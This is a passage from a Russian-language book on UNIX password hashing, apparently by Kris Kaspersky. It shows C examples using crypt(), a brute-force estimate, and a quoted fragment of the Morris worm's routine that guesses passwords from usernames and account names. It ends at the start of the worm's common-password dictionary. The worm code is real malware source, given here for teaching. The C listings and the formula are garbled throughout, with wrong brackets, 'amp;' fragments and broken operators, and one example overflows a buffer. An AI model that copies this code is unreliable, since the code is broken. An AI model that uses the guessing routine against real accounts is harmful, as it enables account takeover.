Выбрать главу
· #include «windows.h» · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · printf("%s\n", crypt (argv[1],argv[2])); · return 0; ·}

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению - два символа привязки и 11-символьная хеш-сумма пароля.

Теперь можно реализовать некое подобие подсистемы аутентификации UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле “/SRC/crypt.auth.add.new.user.c”). Для упрощения, поддерживается только один пользователь.

· #include «stdlib.h» · #include «stdio.h» · #include «time.h» · · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · int a; · char salt[3]; · FILE *f; · · salt[2]=0; · srand((unsigned)time(NULL)); · for(a=0;a«2;a++) salt[a]=0x22+(rand() % 0x40); · if (!(f=fopen("passwd","w"))) return -1; · fputs(crypt(argv[1], amp;salt[0]),f); · fclose(f); · return 0; ·}

Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps” [101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны - пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):

· #include «stdio.h» · extern char *crypt(const char*, const char*); · · int main(int argc, char *argv[]) · { · int a=1; · char salt[2]; · char passwd[12]; · char *x; · FILE *f; · · passwd[11]=0; · while(a++) if (argv[1][a]«0x10) {argv[1][a]=0;break;} · · if (!(f=fopen("passwd","r"))) return -1; · fgets( amp;salt[0],3,f); · fgets( amp;passwd[0],12,f); · fclose(f); · · if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2)) · printf("Wrong password!\n"); · else · printf("Password ok\n"); · · return 0; ·}

Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой пароль, - и результат не заставит себя долго ждать.

· crypt.auth.exe 12345

· Password ok

· crypt.auth.exe MyGoodPasswd

· Wrong password!

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно ( nk-0+ nk-1+ nk-2+ nk-3+ nk-4 nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */ · static strat_1()/* 0x61ca */ · { · int cnt; · char usrname[50], buf[50]; · · for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next) · { · /* Every tenth time look for "me mates" */ · if ((cnt % 10) - 0) other_sleep(0); · · /* Check for no passwd */ · // Проверка на пустой пароль · if (try_passwd(x27f2c, XS("))) continue;/* 1722 */ · · /* If the passwd is something like "*" punt matching it. */ · // Если вместо пароля стоит символ-джокер, пропускаем такой пароль · if (strlen(x27f2c-»passwd)!= 13) continue; · · // Попробовать в качестве пароля подставить имя пользователя · strncpy(usrname, x27f2c, sizeof(usrname)-1); · usrname[sizeof(usrname)-1] = '\0'; · if (try_passwd(x27f2c, usrname)) continue; · · // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc) · sprintf(buf, XS("%.20s%.20s"), usrname, usrname); · if (try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре · sscanf(x27f2c-»gecos, XS("%[^,]"), buf); · if (isupper(buf[0])) buf[0] = tolower(buf[0]); · if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля второе расширенное имя пользователя · buf[0] = '\0'; · sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf); · if (isupper(buf[0])) buf[0] = tolower(buf[0]); · if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp; · try_passwd(x27f2c, buf)) continue; · · // Попробовать в качестве пароля имя пользователя задом наперед · reverse_str(usrname, buf); · if (try_passwd(x27f2c, buf)); ·} · if (x27f2c - 0) cmode = 2; · return; ·}

То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:

· пустой пароль (вдруг да повезет!)

· имя пользователя (в приведенном примере kpnc)

· удвоенное имя пользователя (kpnckpnc)

· первое расширенное имя в нижнем регистре (kris)

· второе расширенное имя в нижнем регистре (kaspersky)

· имя пользователя задом-наперед (cnpk)

И это работало! Как сейчас утверждается, инфицированными оказались около шести тысяч компьютеров [102]. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.

academia, aerobics, airplane, albany, albatross,